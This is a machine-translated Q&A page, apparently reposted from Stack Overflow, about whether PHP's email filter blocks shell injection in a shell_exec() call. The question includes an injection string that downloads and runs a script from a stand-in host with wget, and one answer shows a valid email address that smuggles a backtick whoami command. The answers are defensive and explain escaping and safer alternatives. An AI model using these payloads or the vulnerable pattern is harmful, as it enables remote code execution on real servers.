是FILTER_VALIDATE_EMAIL足以阻止外壳注塑?(Is FILTER_VALIDATE

2019-10-23 09:30发布

所以我打算使用shell_exec()来处理运行PHP脚本,发送电子邮件。

这是所有工作的伟大,但我只是稍微关注仅使用的安全隐患FILTER_VALIDATE_EMAIL ,以确保注射不能发生。

因此,举例来说,我会使用的东西simlilar这样:

$email=$_POST['email'];
if(!filter_var($email, FILTER_VALIDATE_EMAIL)) {
    echo 'Nope ...';
} else {
    shell_exec("/usr/bin/php /var/www/mysite/includes/sendemail '" . $email . "'" > /dev/null 2>/dev/null &);
}

所以,很显然没有验证,我可以提交我的电子邮件,就像这样:

'; wget -O ./evil.sh http://evilsite.com/evilscript; ./evil.sh; '

和所有的地狱可以挣脱...

这是100%的注射证明(我们知道的),或者是有什么别的我要补充?

Answer 1:

该FILTER_VALIDATE_EMAIL实现基于迈克尔·拉什顿的电子邮件地址验证 ,验证通过输入RFC 5321 ,即邮箱生产规则 。

这些电子邮件地址是比那些在实践中使用越来越广泛。 例如,RFC 5321允许引述像本地部分字符串"…"@example.com

这允许注入任意命令,例如:

"'`whoami`'"@example.com

这会在你的shell命令结束:

/usr/bin/php /var/www/mysite/includes/sendemail '"'`whoami`'"@example.com' > /dev/null 2>/dev/null &

得到的sendmail参数值将是结果whoami报价,喜欢"markus"@example.com

您将看到FILTER_VALIDATE_EMAIL是根本不适合用于验证外壳参数,因为它是不是注定的。

这都是为了逃避壳参数,而不是像使用功能escapeshellarg为逃逸单参数或escapeshellcmd任意参数。

一般来说,你应该避免shell命令,如果你能达到与内置的PHP功能相同的,因为即使escapeshellarg不是免费的bug 。



Answer 2:

这是100%的注射证明(我们知道的),或者是有什么别的我要补充?

同样的问题被问这里的数据库: 是否FILTER_VALIDATE_EMAIL使字符串安全的插入数据库?

如果filter_var($var, FILTER_VALIDATE_EMAIL)是不是数据库的安全,它可能不是在命令行足够安全。

如果您确实需要逃避的外壳使用的字符串,使用escapeshellarg()escapeshellcmd()像在回答过滤器变种调用与系统上的PHP一个shell脚本 。 请务必阅读API文档为那些对PHP的网站。

但首先,你应该做一些OWASP研究学习应用程序安全的最佳做法。

逸出和任何其他对策是无效的,有大量的用于绕过每其中之一向量; 不相信开发新手告诉你。

您可以通过写邮件到一个临时文件,然后指示你完全避免这个问题sendemail应用程序从文件中读取(如果可以)。

或者,如果它适用于您的主机配置,你可以使用PHP的mail()方法-请参阅如何发送使用PHP的电子邮件?

继续关注安全的,虽然。 PHP的邮件():什么是需要提防潜在的问题?



文章来源: Is FILTER_VALIDATE_EMAIL sufficient to stop shell injection?